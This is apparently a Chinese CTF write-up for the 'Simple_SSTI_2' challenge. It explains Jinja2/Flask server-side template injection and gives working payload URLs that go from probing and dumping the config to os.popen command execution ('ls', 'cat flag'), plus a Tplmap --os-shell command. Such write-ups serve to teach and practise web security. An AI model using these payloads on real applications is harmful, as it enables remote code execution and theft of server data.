题目描述
Simple_SSTI_2
Solution
打开网页,题目要求我们输入一个名为flag的参数:

我们按题目要求传递:
http://114.67.175.224:16606/?flag=1

题目暗示这个 SSTI 类型题,我们可以输入:
http://114.67.175.224:16606/?flag={{1+1}}

jinja2 是 Python 的 Flask 框架下的模板引擎。Flask SSTI 题的基本思路就是利用 python 中的 魔术方法 找到自己要用的函数。
__dict__:保存类实例或对象实例的属性变量键值对字典__class__:返回调用的参数类型__mro__:返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。__bases__:返回类型列表__subclasses__:返回object的子类__init__:类的初始化方法__globals__:函数会以字典类型返回当前位置的全部全局变量 与func_globals等价
我们可以利用 SSTI 获取基本类:
http://114.67.175.224:16606/?flag={{[].__class__.__bases__[0]}}

我们可以查看当前的全局配置信息:
http://114.67.175.224:16606/?flag={{config}}

没有发现什么特别的东西。
命令执行
我们可以构造一个命令执行的 URL。依次执行下列命令,找到我们需要的类和方法:
http://114.67.175.224:16606/?flag={{config.__class__}}http://114.67.175.224:16606/?flag={{config.__class__.__init__}}http://114.67.175.224:16606/?flag={{config.__class__.__init__.__globals__}}http://114.67.175.224:16606/?flag={{config.__class__.__init__.__globals__['os']}}http://114.67.175.224:16606/?flag={{config.__class__.__init__.__globals__['os'].popen('ls').read()}}

可以发现当前目录下有一个flag文件,我们cat它看看有什么内容:
http://114.67.175.224:16606/?flag={{config.__class__.__init__.__globals__['os'].popen('cat flag').read()}}

Tqlmap自动化注入
我们可以直接使用 Tplmap 框架帮我们自动化解题:
py tplmap.py -u "http://114.67.175.224:16606/?flag=1" --os-shell

